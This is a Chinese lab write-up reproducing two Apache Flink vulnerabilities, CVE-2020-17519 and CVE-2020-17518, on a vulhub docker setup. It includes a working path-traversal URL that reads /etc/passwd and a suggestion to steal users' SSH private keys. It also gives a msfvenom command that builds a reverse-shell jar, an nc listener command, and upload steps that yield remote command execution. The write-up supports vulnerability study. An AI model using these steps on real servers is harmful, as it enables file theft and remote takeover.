Apache Flink任意文件读取(CVE-2020-17519)&& 任意文件上传(CVE-20...

一、任意文件读取(CVE-2020-17519) 访问:http://your-ip:8081进入Apache Flink 控制面板: 在地址栏使用poc: http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f....

一、任意文件读取(CVE-2020-17519)

访问:http://your-ip:8081进入Apache Flink 控制面板:

在地址栏使用poc:

http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

读取/etc/passwd文件:

测试中发现在读取/etc/shadow文件不可行,存在权限问题,访问会直接报错:

但是可以尝试利用任意文件读取尝试去读取/home目录下的用户的.ssh文件夹的ssh私钥来进行ssh登录,再进行提取操作。(笔者未进行尝试,各位看官可以根据这个思路探索一哈)

二、任意文件上传(CVE-2020-17518)

Apache Flink 控制面板的Submit New Job处存在任意文件上传:

使用POC:

进入查看测试环境查看已经成功上传了success:

另外我们还可以上传上传jar马实现反弹监听从而进行远程命令执行

首先我们使用kali的MSF生成jar马:

msfvenom -p java/shell_reverse_tcp lhost=192.168.153.6 lport=5555 -f jar >/home/kali/Desktop/shell.jar

其中lhost为本地机器的IP,lport为反弹的端口。

可以看到成功生成了jar马(shell.jar)

然后本地机器新建命令行窗口,使用nc进行端口监听:nc -lvvp 5555

最后把生成的jar马通过Submit New Job模块进行上传:

点击Submit即可实现jar马反弹监听:

执行远程命令:

这里看到他的启动不是root用户,更能验证任意读取文件时读取shadow文件报错,跟权限问题相关的。

三、结束语

本次复现均是docker本地搭建模拟攻击行为,本文章仅用于交流学习,请勿使用该漏洞进行违法活动。

docker地址

https://github.com/vulhub/vulhub/tree/master/flink/

  • 发表于 2021-04-14 14:30
  • 阅读 ( 257 )
  • 分类:互联网

0 条评论

请先 登录 后评论
阿金
阿金

671 篇文章

你可能感兴趣的文章

相关问题